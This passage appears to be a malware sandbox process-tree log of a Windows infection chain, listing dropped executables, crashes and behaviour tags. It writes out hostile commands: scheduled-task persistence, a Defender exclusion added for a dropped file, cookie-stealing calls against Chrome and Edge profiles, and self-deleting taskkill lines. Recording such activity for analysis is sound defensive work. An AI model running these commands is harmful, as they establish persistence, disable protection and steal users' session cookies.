        findstr /V /R "^NOMPYcpppIdmxMIjpZJiqIaRacbYsDyCvWwIcZWZvJmoLxdJeLbxMJXtvVbDYlSFDOebLqQprKLsppyXtNVFyKPNZWjmCzqkRTEXaSYeUgseYGVjPmnlfjATYfnONsHKJmAdFoFjPTLRzNPzwZ$" Oggi.avi
        15⤵
        
        PID:5668
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com
        
        Hai.exe.com l
        15⤵
        
        PID:4176
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com l
        16⤵
        
        PID:4268
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com l
        17⤵
        
        PID:7156
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com l
        18⤵
        
        PID:6388
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com l
        19⤵
        
        PID:5708
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com l
        20⤵
        
        PID:6268
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com l
        21⤵
        
        PID:5684
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com l
        22⤵
        
        PID:5520
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com l
        23⤵
        
        PID:7700
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com l
        24⤵
        
        PID:8144
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com l
        25⤵
        
        PID:4368
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com l
        26⤵
        
        PID:132
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com l
        27⤵
        
        PID:3712
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com l
        28⤵
        
        PID:3156
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com l
        29⤵
        
        PID:7460
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com l
        30⤵
        
        PID:7232
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com l
        31⤵
        
        PID:1988
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com l
        32⤵
        
        PID:1484
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com l
        33⤵
        
        PID:2668
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com l
        34⤵
        
        PID:7360
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com l
        35⤵
        
        PID:7612
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com l
        36⤵
        
        PID:8144
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com l
        37⤵
        
        PID:6316
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com l
        38⤵
        
        PID:7804
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com l
        39⤵
        
        PID:7096
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com l
        40⤵
        
        PID:4784
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com l
        41⤵
        
        PID:4140
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com l
        42⤵
        
        PID:7460
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com l
        43⤵
        
        PID:5280
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com l
        44⤵
        
        PID:4636
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com l
        45⤵
        
        PID:4836
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com l
        46⤵
        
        PID:7960
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com l
        47⤵
        
        PID:7008
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com l
        48⤵
        
        PID:4084
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com l
        49⤵
        
        PID:7912
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com l
        50⤵
        
        PID:7488
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com l
        51⤵
        
        PID:7368
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com l
        52⤵
        
        PID:2940
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com l
        53⤵
        
        PID:5540
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com l
        54⤵
        
        PID:6008
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com l
        55⤵
        
        PID:4716
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com l
        56⤵
        
        PID:7280
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com l
        57⤵
        
        PID:8124
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com l
        58⤵
        
        PID:6712
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com l
        59⤵
        
        PID:6600
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com l
        60⤵
        
        PID:4628
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com l
        61⤵
        
        PID:4836
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping localhost -n 30
        15⤵
        Suspicious use of SetThreadContext
        Runs ping.exe
        
        PID:5300
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\uuz43tgv.2pz\GcleanerEU.exe /eufive & exit
        10⤵
        
        PID:6384
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\dy0tpbj0.pv4\JoSetp.exe & exit
        10⤵
        
        PID:6716
        
        C:\Users\Admin\AppData\Local\Temp\dy0tpbj0.pv4\JoSetp.exe
        
        C:\Users\Admin\AppData\Local\Temp\dy0tpbj0.pv4\JoSetp.exe
        11⤵
        
        PID:6880
        
        C:\Users\Admin\AppData\Local\Temp\Chrome4.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Chrome4.exe"
        12⤵
        
        PID:5544
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        13⤵
        
        PID:6892
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        14⤵
        Creates scheduled task(s)
        
        PID:2204
        
        C:\Users\Admin\AppData\Roaming\services64.exe
        
        "C:\Users\Admin\AppData\Roaming\services64.exe"
        13⤵
        
        PID:4256
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        14⤵
        
        PID:7556
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        15⤵
        Creates scheduled task(s)
        
        PID:5352
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        14⤵
        
        PID:8028
        
        C:\Users\Admin\AppData\Local\Temp\JoSetp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\JoSetp.exe"
        12⤵
        
        PID:3108
        
        C:\Users\Admin\AppData\Roaming\7751116.exe
        
        "C:\Users\Admin\AppData\Roaming\7751116.exe"
        13⤵
        
        PID:2544
        
        C:\Users\Admin\AppData\Roaming\6608348.exe
        
        "C:\Users\Admin\AppData\Roaming\6608348.exe"
        13⤵
        
        PID:5588
        
        C:\Users\Admin\AppData\Roaming\4043255.exe
        
        "C:\Users\Admin\AppData\Roaming\4043255.exe"
        13⤵
        
        PID:7000
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 7000 -s 2312
        14⤵
        Program crash
        
        PID:6924
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\w3ptuzki.m4a\installer.exe /qn CAMPAIGN="654" & exit
        10⤵
        
        PID:6584
        
        C:\Users\Admin\AppData\Local\Temp\w3ptuzki.m4a\installer.exe
        
        C:\Users\Admin\AppData\Local\Temp\w3ptuzki.m4a\installer.exe /qn CAMPAIGN="654"
        11⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:6076
        
        C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\w3ptuzki.m4a\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\w3ptuzki.m4a\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1628921533 /qn CAMPAIGN=""654"" " CAMPAIGN="654"
        12⤵
        
        PID:6056
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\2aot2mwn.v2s\ufgaa.exe & exit
        10⤵
        
        PID:4304
        
        C:\Users\Admin\AppData\Local\Temp\2aot2mwn.v2s\ufgaa.exe
        
        C:\Users\Admin\AppData\Local\Temp\2aot2mwn.v2s\ufgaa.exe
        11⤵
        Suspicious use of NtCreateProcessExOtherParentProcess
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:5720
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        12⤵
        
        PID:6656
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        12⤵
        
        PID:5668
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        12⤵
        
        PID:1084
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        12⤵
        
        PID:3556
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\lt4y0e4d.liv\anyname.exe & exit
        10⤵
        
        PID:6580
        
        C:\Users\Admin\AppData\Local\Temp\lt4y0e4d.liv\anyname.exe
        
        C:\Users\Admin\AppData\Local\Temp\lt4y0e4d.liv\anyname.exe
        11⤵
        
        PID:1900
        
        C:\Users\Admin\AppData\Local\Temp\lt4y0e4d.liv\anyname.exe
        
        "C:\Users\Admin\AppData\Local\Temp\lt4y0e4d.liv\anyname.exe" -q
        12⤵
        
        PID:6708
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6708 -s 612
        13⤵
        Program crash
        
        PID:1900
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\vl5xt13d.ewq\cleanpro13.exe & exit
        10⤵
        
        PID:6304
        
        C:\Users\Admin\AppData\Local\Temp\vl5xt13d.ewq\cleanpro13.exe
        
        C:\Users\Admin\AppData\Local\Temp\vl5xt13d.ewq\cleanpro13.exe
        11⤵
        
        PID:6156
        
        C:\Users\Admin\Documents\3A6YukbTKpgRKbVd7jTkZUDI.exe
        
        "C:\Users\Admin\Documents\3A6YukbTKpgRKbVd7jTkZUDI.exe"
        12⤵
        
        PID:7092
        
        C:\Users\Admin\Documents\U0Y0YKNIlEqdzGuVOYcdoS5u.exe
        
        "C:\Users\Admin\Documents\U0Y0YKNIlEqdzGuVOYcdoS5u.exe"
        12⤵
        
        PID:5452
        
        C:\Users\Admin\Documents\U0Y0YKNIlEqdzGuVOYcdoS5u.exe
        
        C:\Users\Admin\Documents\U0Y0YKNIlEqdzGuVOYcdoS5u.exe
        13⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:3036
        
        C:\Users\Admin\Documents\U0Y0YKNIlEqdzGuVOYcdoS5u.exe
        
        C:\Users\Admin\Documents\U0Y0YKNIlEqdzGuVOYcdoS5u.exe
        13⤵
        
        PID:1508
        
        C:\Users\Admin\Documents\IyZtvv29Lz7muSLVG76Sp6ik.exe
        
        "C:\Users\Admin\Documents\IyZtvv29Lz7muSLVG76Sp6ik.exe"
        12⤵
        
        PID:5440
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5440 -s 240
        13⤵
        Program crash
        
        PID:6484
        
        C:\Users\Admin\Documents\9nvXOf5x38_2JT_Q1i9GWbsC.exe
        
        "C:\Users\Admin\Documents\9nvXOf5x38_2JT_Q1i9GWbsC.exe"
        12⤵
        
        PID:5668
        
        C:\Users\Admin\Documents\9nvXOf5x38_2JT_Q1i9GWbsC.exe
        
        "C:\Users\Admin\Documents\9nvXOf5x38_2JT_Q1i9GWbsC.exe" -q
        13⤵
        
        PID:7772
        
        C:\Users\Admin\Documents\enFJQ3TgOX8dJh_pbrnSA6tN.exe
        
        "C:\Users\Admin\Documents\enFJQ3TgOX8dJh_pbrnSA6tN.exe"
        12⤵
        
        PID:5160
        
        C:\Users\Admin\Documents\ctomSZA3hwOPFqW5jF0gMEN1.exe
        
        "C:\Users\Admin\Documents\ctomSZA3hwOPFqW5jF0gMEN1.exe"
        12⤵
        
        PID:6868
        
        C:\Users\Admin\Documents\9za4DXufqNccSThTAZ8Swfje.exe
        
        "C:\Users\Admin\Documents\9za4DXufqNccSThTAZ8Swfje.exe"
        12⤵
        
        PID:3804
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3804 -s 240
        13⤵
        Program crash
        
        PID:6696
        
        C:\Users\Admin\Documents\odrrJ3Mi3jRotYBryF5Fuslp.exe
        
        "C:\Users\Admin\Documents\odrrJ3Mi3jRotYBryF5Fuslp.exe"
        12⤵
        
        PID:4044
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        13⤵
        
        PID:3524
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        13⤵
        
        PID:4828
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        13⤵
        
        PID:8156
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        13⤵
        
        PID:7468
        
        C:\Users\Admin\Documents\dfAadjkHK4cB3nHlwZrjQk5I.exe
        
        "C:\Users\Admin\Documents\dfAadjkHK4cB3nHlwZrjQk5I.exe"
        12⤵
        
        PID:2876
        
        C:\Users\Admin\AppData\Roaming\2783254.exe
        
        "C:\Users\Admin\AppData\Roaming\2783254.exe"
        13⤵
        
        PID:6940
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 6940 -s 2104
        14⤵
        Program crash
        
        PID:440
        
        C:\Users\Admin\AppData\Roaming\1981202.exe
        
        "C:\Users\Admin\AppData\Roaming\1981202.exe"
        13⤵
        
        PID:5320
        
        C:\Users\Admin\AppData\Roaming\3516890.exe
        
        "C:\Users\Admin\AppData\Roaming\3516890.exe"
        13⤵
        
        PID:5028
        
        C:\Users\Admin\AppData\Roaming\3516890.exe
        
        "C:\Users\Admin\AppData\Roaming\3516890.exe"
        14⤵
        
        PID:2132
        
        C:\Users\Admin\Documents\JKhhzunji8PQdSLHcCVEadQw.exe
        
        "C:\Users\Admin\Documents\JKhhzunji8PQdSLHcCVEadQw.exe"
        12⤵
        
        PID:1888
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1888 -s 296
        13⤵
        Program crash
        
        PID:5800
        
        C:\Users\Admin\Documents\ygtk80RcDORaaz8SS1KFvIBI.exe
        
        "C:\Users\Admin\Documents\ygtk80RcDORaaz8SS1KFvIBI.exe"
        12⤵
        
        PID:7164
        
        C:\Users\Admin\Documents\ygtk80RcDORaaz8SS1KFvIBI.exe
        
        "C:\Users\Admin\Documents\ygtk80RcDORaaz8SS1KFvIBI.exe"
        13⤵
        
        PID:7000
        
        C:\Users\Admin\Documents\ygtk80RcDORaaz8SS1KFvIBI.exe
        
        "C:\Users\Admin\Documents\ygtk80RcDORaaz8SS1KFvIBI.exe"
        13⤵
        
        PID:3872
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /C taskkill /F /PID 3872 && choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Documents\ygtk80RcDORaaz8SS1KFvIBI.exe"
        14⤵
        
        PID:3552
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /PID 3872
        15⤵
        Kills process with taskkill
        
        PID:5948
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /C taskkill /F /PID 3872 && choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Documents\ygtk80RcDORaaz8SS1KFvIBI.exe"
        14⤵
        
        PID:5568
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /PID 3872
        15⤵
        Kills process with taskkill
        
        PID:3340
        
        C:\Users\Admin\Documents\SbEGxMWtazMk_llTT7tJAcmP.exe
        
        "C:\Users\Admin\Documents\SbEGxMWtazMk_llTT7tJAcmP.exe"
        12⤵
        
        PID:6948
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6948 -s 316
        13⤵
        Program crash
        
        PID:3820
        
        C:\Users\Admin\Documents\dHm8oDIfAR0s1xfSCiGKgWsV.exe
        
        "C:\Users\Admin\Documents\dHm8oDIfAR0s1xfSCiGKgWsV.exe"
        12⤵
        
        PID:5528
        
        C:\Users\Admin\Documents\dHm8oDIfAR0s1xfSCiGKgWsV.exe
        
        C:\Users\Admin\Documents\dHm8oDIfAR0s1xfSCiGKgWsV.exe
        13⤵
        
        PID:8172
        
        C:\Users\Admin\Documents\Tw3ZWEp14X67CqKzuCUbKNGj.exe
        
        "C:\Users\Admin\Documents\Tw3ZWEp14X67CqKzuCUbKNGj.exe"
        12⤵
        
        PID:7324
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 7324 -s 236
        13⤵
        Program crash
        
        PID:7724
        
        C:\Users\Admin\Documents\ThlM6x9C9Hpsk2_XSWT_TgRR.exe
        
        "C:\Users\Admin\Documents\ThlM6x9C9Hpsk2_XSWT_TgRR.exe"
        12⤵
        
        PID:7424
        
        C:\Users\Admin\Documents\ThlM6x9C9Hpsk2_XSWT_TgRR.exe
        
        C:\Users\Admin\Documents\ThlM6x9C9Hpsk2_XSWT_TgRR.exe
        13⤵
        
        PID:1548
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1548 -s 28
        14⤵
        Program crash
        
        PID:7652
        
        C:\Users\Admin\Documents\lMRak8Sy9JeJj8Dx84hTlUbN.exe
        
        "C:\Users\Admin\Documents\lMRak8Sy9JeJj8Dx84hTlUbN.exe"
        12⤵
        
        PID:7408
        
        C:\Users\Admin\Documents\rLVAaTRhHGqkYq5jnbnn4IDj.exe
        
        "C:\Users\Admin\Documents\rLVAaTRhHGqkYq5jnbnn4IDj.exe"
        12⤵
        
        PID:7396
        
        C:\Users\Admin\Documents\01fkSM24Sl5dH6cOcv1I39nF.exe
        
        "C:\Users\Admin\Documents\01fkSM24Sl5dH6cOcv1I39nF.exe"
        12⤵
        
        PID:7312
        
        C:\Users\Admin\Documents\XGIaWpglKnGrcb9Ky72xVKdq.exe
        
        "C:\Users\Admin\Documents\XGIaWpglKnGrcb9Ky72xVKdq.exe"
        12⤵
        
        PID:7304
        
        C:\Users\Admin\Documents\pGbd1hf97F_pVDyyTomaTFF_.exe
        
        "C:\Users\Admin\Documents\pGbd1hf97F_pVDyyTomaTFF_.exe"
        12⤵
        
        PID:7296
        
        C:\Users\Admin\Documents\pGbd1hf97F_pVDyyTomaTFF_.exe
        
        C:\Users\Admin\Documents\pGbd1hf97F_pVDyyTomaTFF_.exe
        13⤵
        
        PID:7092
        
        C:\Users\Admin\Documents\JSmKa8DI8JMGrmjM9GDwzbiL.exe
        
        "C:\Users\Admin\Documents\JSmKa8DI8JMGrmjM9GDwzbiL.exe"
        12⤵
        
        PID:7288
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 7288 -s 296
        13⤵
        Program crash
        
        PID:7488
        
        C:\Users\Admin\Documents\cXjqbqDsxobbnfGNMq4eCR7G.exe
        
        "C:\Users\Admin\Documents\cXjqbqDsxobbnfGNMq4eCR7G.exe"
        12⤵
        
        PID:7280
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 7280 -s 304
        13⤵
        Program crash
        
        PID:3500
        
        C:\Users\Admin\Documents\f7Y_tKFMjBvTWC3_zZv4h_Ey.exe
        
        "C:\Users\Admin\Documents\f7Y_tKFMjBvTWC3_zZv4h_Ey.exe"
        12⤵
        
        PID:7264
        
        C:\Users\Admin\AppData\Local\Temp\09036c5a-5416-4218-9c41-62a158892109\AdvancedRun.exe
        
        "C:\Users\Admin\AppData\Local\Temp\09036c5a-5416-4218-9c41-62a158892109\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\09036c5a-5416-4218-9c41-62a158892109\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
        13⤵
        
        PID:8116
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\09036c5a-5416-4218-9c41-62a158892109\test.bat"
        14⤵
        
        PID:4640
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Documents\f7Y_tKFMjBvTWC3_zZv4h_Ey.exe" -Force
        13⤵
        
        PID:4608
        
        C:\Users\Admin\Documents\f7Y_tKFMjBvTWC3_zZv4h_Ey.exe
        
        "C:\Users\Admin\Documents\f7Y_tKFMjBvTWC3_zZv4h_Ey.exe"
        13⤵
        
        PID:4440
        
        C:\Users\Admin\Documents\FZa2WmJFecjCd4DIyiwISrVd.exe
        
        "C:\Users\Admin\Documents\FZa2WmJFecjCd4DIyiwISrVd.exe"
        12⤵
        
        PID:7256
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
        13⤵
        
        PID:7268
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 7256 -s 284
        13⤵
        Program crash
        
        PID:6016
        
        C:\Users\Admin\Documents\ZVjbeWwgXBzFqwTvqVH_m8s6.exe
        
        "C:\Users\Admin\Documents\ZVjbeWwgXBzFqwTvqVH_m8s6.exe"
        12⤵
        
        PID:7248
        
        C:\Users\Admin\Documents\ZVjbeWwgXBzFqwTvqVH_m8s6.exe
        
        C:\Users\Admin\Documents\ZVjbeWwgXBzFqwTvqVH_m8s6.exe
        13⤵
        
        PID:8104
        
        C:\Users\Admin\Documents\YaqwWv0wVoGoaS2bipa7aQoE.exe
        
